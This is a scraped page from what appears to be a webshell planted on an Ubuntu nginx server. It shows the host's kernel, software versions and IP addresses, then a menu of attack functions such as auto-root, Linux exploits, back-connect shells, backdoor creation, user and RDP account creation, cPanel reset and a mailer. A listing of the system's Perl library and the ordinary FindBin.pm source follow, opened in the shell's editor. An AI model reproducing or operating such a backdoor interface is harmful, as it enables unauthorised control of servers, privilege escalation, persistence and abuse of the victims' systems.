Linux ubuntu 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64
nginx/1.24.0
: 67.217.245.49 | : 216.73.216.153
Cant Read [ /etc/named.conf ]
8.3.6
www-data
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
perl /
5.38.2 /
[ HOME SHELL ]
Name
Size
Permission
Action
App
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
Attribute
[ DIR ]
drwxr-xr-x
B
[ DIR ]
drwxr-xr-x
CPAN
[ DIR ]
drwxr-xr-x
Carp
[ DIR ]
drwxr-xr-x
Class
[ DIR ]
drwxr-xr-x
Compress
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
DBM_Filter
[ DIR ]
drwxr-xr-x
Devel
[ DIR ]
drwxr-xr-x
Digest
[ DIR ]
drwxr-xr-x
Encode
[ DIR ]
drwxr-xr-x
Exporter
[ DIR ]
drwxr-xr-x
ExtUtils
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Filter
[ DIR ]
drwxr-xr-x
Getopt
[ DIR ]
drwxr-xr-x
HTTP
[ DIR ]
drwxr-xr-x
I18N
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
IPC
[ DIR ]
drwxr-xr-x
JSON
[ DIR ]
drwxr-xr-x
Locale
[ DIR ]
drwxr-xr-x
Math
[ DIR ]
drwxr-xr-x
Memoize
[ DIR ]
drwxr-xr-x
Module
[ DIR ]
drwxr-xr-x
Net
[ DIR ]
drwxr-xr-x
Params
[ DIR ]
drwxr-xr-x
Parse
[ DIR ]
drwxr-xr-x
Perl
[ DIR ]
drwxr-xr-x
PerlIO
[ DIR ]
drwxr-xr-x
Pod
[ DIR ]
drwxr-xr-x
Search
[ DIR ]
drwxr-xr-x
TAP
[ DIR ]
drwxr-xr-x
Term
[ DIR ]
drwxr-xr-x
Test
[ DIR ]
drwxr-xr-x
Test2
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
Thread
[ DIR ]
drwxr-xr-x
Tie
[ DIR ]
drwxr-xr-x
Time
[ DIR ]
drwxr-xr-x
Unicode
[ DIR ]
drwxr-xr-x
User
[ DIR ]
drwxr-xr-x
autodie
[ DIR ]
drwxr-xr-x
encoding
[ DIR ]
drwxr-xr-x
overload
[ DIR ]
drwxr-xr-x
pod
[ DIR ]
drwxr-xr-x
unicore
[ DIR ]
drwxr-xr-x
version
[ DIR ]
drwxr-xr-x
warnings
[ DIR ]
drwxr-xr-x
AnyDBM_File.pm
2.56
KB
-rw-r--r--
AutoLoader.pm
15.43
KB
-rw-r--r--
AutoSplit.pm
19.18
KB
-rw-r--r--
Benchmark.pm
30.3
KB
-rw-r--r--
CORE.pod
3.11
KB
-rw-r--r--
CPAN.pm
144.5
KB
-rw-r--r--
Carp.pm
35.15
KB
-rw-r--r--
DB.pm
18.48
KB
-rw-r--r--
DBM_Filter.pm
14.05
KB
-rw-r--r--
Digest.pm
10.96
KB
-rw-r--r--
DirHandle.pm
2.04
KB
-rw-r--r--
Dumpvalue.pm
17.25
KB
-rw-r--r--
English.pm
4.65
KB
-rw-r--r--
Env.pm
5.44
KB
-rw-r--r--
Exporter.pm
18.76
KB
-rw-r--r--
Fatal.pm
57.85
KB
-rw-r--r--
FileCache.pm
5.42
KB
-rw-r--r--
FileHandle.pm
6.65
KB
-rw-r--r--
FindBin.pm
4.51
KB
-rw-r--r--
Internals.pod
2.51
KB
-rw-r--r--
Memoize.pm
31.82
KB
-rw-r--r--
NEXT.pm
18.54
KB
-rw-r--r--
PerlIO.pm
13.92
KB
-rw-r--r--
Safe.pm
24.76
KB
-rw-r--r--
SelectSaver.pm
1.05
KB
-rw-r--r--
SelfLoader.pm
17.27
KB
-rw-r--r--
Symbol.pm
4.79
KB
-rw-r--r--
Test.pm
29.34
KB
-rw-r--r--
Test2.pm
6.24
KB
-rw-r--r--
Thread.pm
8.09
KB
-rw-r--r--
UNIVERSAL.pm
6.67
KB
-rw-r--r--
XSLoader.pm
11.13
KB
-rw-r--r--
_charnames.pm
34.84
KB
-rw-r--r--
autodie.pm
12.14
KB
-rw-r--r--
autouse.pm
4.14
KB
-rw-r--r--
base.pm
10.7
KB
-rw-r--r--
bigfloat.pm
21.45
KB
-rw-r--r--
bigint.pm
22.7
KB
-rw-r--r--
bignum.pm
27.56
KB
-rw-r--r--
bigrat.pm
20.64
KB
-rw-r--r--
blib.pm
2.01
KB
-rw-r--r--
builtin.pm
10.15
KB
-rw-r--r--
bytes.pm
3.69
KB
-rw-r--r--
bytes_heavy.pl
758
B
-rw-r--r--
charnames.pm
20.56
KB
-rw-r--r--
constant.pm
14.38
KB
-rw-r--r--
deprecate.pm
4.92
KB
-rw-r--r--
diagnostics.pm
18.88
KB
-rw-r--r--
dumpvar.pl
15.19
KB
-rw-r--r--
experimental.pm
8.72
KB
-rw-r--r--
feature.pm
53.32
KB
-rw-r--r--
fields.pm
9.25
KB
-rw-r--r--
filetest.pm
3.91
KB
-rw-r--r--
if.pm
3.55
KB
-rw-r--r--
integer.pm
3.18
KB
-rw-r--r--
less.pm
3.13
KB
-rw-r--r--
locale.pm
4.77
KB
-rw-r--r--
meta_notation.pm
2.02
KB
-rw-r--r--
ok.pm
967
B
-rw-r--r--
open.pm
8.3
KB
-rw-r--r--
overload.pm
53.44
KB
-rw-r--r--
overloading.pm
1.77
KB
-rw-r--r--
parent.pm
2.64
KB
-rw-r--r--
perl5db.pl
310.13
KB
-rw-r--r--
perlfaq.pm
77
B
-rw-r--r--
sigtrap.pm
8.53
KB
-rw-r--r--
sort.pm
2.92
KB
-rw-r--r--
stable.pm
4.55
KB
-rw-r--r--
strict.pm
4.67
KB
-rw-r--r--
subs.pm
945
B
-rw-r--r--
utf8.pm
10.63
KB
-rw-r--r--
vars.pm
2.4
KB
-rw-r--r--
version.pm
1.93
KB
-rw-r--r--
version.pod
9.6
KB
-rw-r--r--
vmsish.pm
4.21
KB
-rw-r--r--
warnings.pm
55.73
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : FindBin.pm
# FindBin.pm # # Copyright (c) 1995 Graham Barr & Nick Ing-Simmons. All rights reserved. # This program is free software; you can redistribute it and/or modify it # under the same terms as Perl itself. =head1 NAME FindBin - Locate directory of original perl script =head1 SYNOPSIS use FindBin; use lib "$FindBin::Bin/../lib"; or use FindBin qw($Bin); use lib "$Bin/../lib"; =head1 DESCRIPTION Locates the full path to the script bin directory to allow the use of paths relative to the bin directory. This allows a user to setup a directory tree for some software with directories C<< <root>/bin >> and C<< <root>/lib >>, and then the above example will allow the use of modules in the lib directory without knowing where the software tree is installed. If perl is invoked using the B<-e> option or the perl script is read from C<STDIN> then FindBin sets both C<$Bin> and C<$RealBin> to the current directory. =head1 EXPORTABLE VARIABLES $Bin - path to bin directory from where script was invoked $Script - basename of script from which perl was invoked $RealBin - $Bin with all links resolved $RealScript - $Script with all links resolved =head1 KNOWN ISSUES If there are two modules using C<FindBin> from different directories under the same interpreter, this won't work. Since C<FindBin> uses a C<BEGIN> block, it'll be executed only once, and only the first caller will get it right. This is a problem under mod_perl and other persistent Perl environments, where you shouldn't use this module. Which also means that you should avoid using C<FindBin> in modules that you plan to put on CPAN. To make sure that C<FindBin> will work is to call the C<again> function: use FindBin; FindBin::again(); # or FindBin->again; In former versions of FindBin there was no C<again> function. The workaround was to force the C<BEGIN> block to be executed again: delete $INC{'FindBin.pm'}; require FindBin; =head1 AUTHORS FindBin is supported as part of the core perl distribution. Please submit bug reports at L<https://github.com/Perl/perl5/issues>. Graham Barr E<lt>F<gbarr@pobox.com>E<gt> Nick Ing-Simmons E<lt>F<nik@tiuk.ti.com>E<gt> =head1 COPYRIGHT Copyright (c) 1995 Graham Barr & Nick Ing-Simmons. All rights reserved. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. =cut package FindBin; use strict; use warnings; use Carp; require Exporter; use Cwd qw(getcwd cwd abs_path); use File::Basename; use File::Spec; our ($Bin, $Script, $RealBin, $RealScript, $Dir, $RealDir); our @EXPORT_OK = qw($Bin $Script $RealBin $RealScript $Dir $RealDir); our %EXPORT_TAGS = (ALL => [qw($Bin $Script $RealBin $RealScript $Dir $RealDir)]); our @ISA = qw(Exporter); our $VERSION = "1.53"; # needed for VMS-specific filename translation if( $^O eq 'VMS' ) { require VMS::Filespec; VMS::Filespec->import; } sub cwd2 { my $cwd = getcwd(); # getcwd might fail if it hasn't access to the current directory. # try harder. defined $cwd or $cwd = cwd(); $cwd; } sub init { *Dir = \$Bin; *RealDir = \$RealBin; if($0 eq '-e' || $0 eq '-') { # perl invoked with -e or script is on C<STDIN> $Script = $RealScript = $0; $Bin = $RealBin = cwd2(); $Bin = VMS::Filespec::unixify($Bin) if $^O eq 'VMS'; } else { my $script = $0; if ($^O eq 'VMS') { ($Bin,$Script) = VMS::Filespec::rmsexpand($0) =~ /(.*[\]>\/]+)(.*)/s; # C<use disk:[dev]/lib> isn't going to work, so unixify first ($Bin = VMS::Filespec::unixify($Bin)) =~ s/\/\z//; ($RealBin,$RealScript) = ($Bin,$Script); } else { croak("Cannot find current script '$0'") unless(-f $script); # Ensure $script contains the complete path in case we C<chdir> $script = File::Spec->catfile(cwd2(), $script) unless File::Spec->file_name_is_absolute($script); ($Script,$Bin) = fileparse($script); # Resolve $script if it is a link while(1) { my $linktext = readlink($script); ($RealScript,$RealBin) = fileparse($script); last unless defined $linktext; $script = (File::Spec->file_name_is_absolute($linktext)) ? $linktext : File::Spec->catfile($RealBin, $linktext); } # Get absolute paths to directories if ($Bin) { my $BinOld = $Bin; $Bin = abs_path($Bin); defined $Bin or $Bin = File::Spec->canonpath($BinOld); } $RealBin = abs_path($RealBin) if($RealBin); } } } BEGIN { init } *again = \&init; 1; # Keep require happy
Close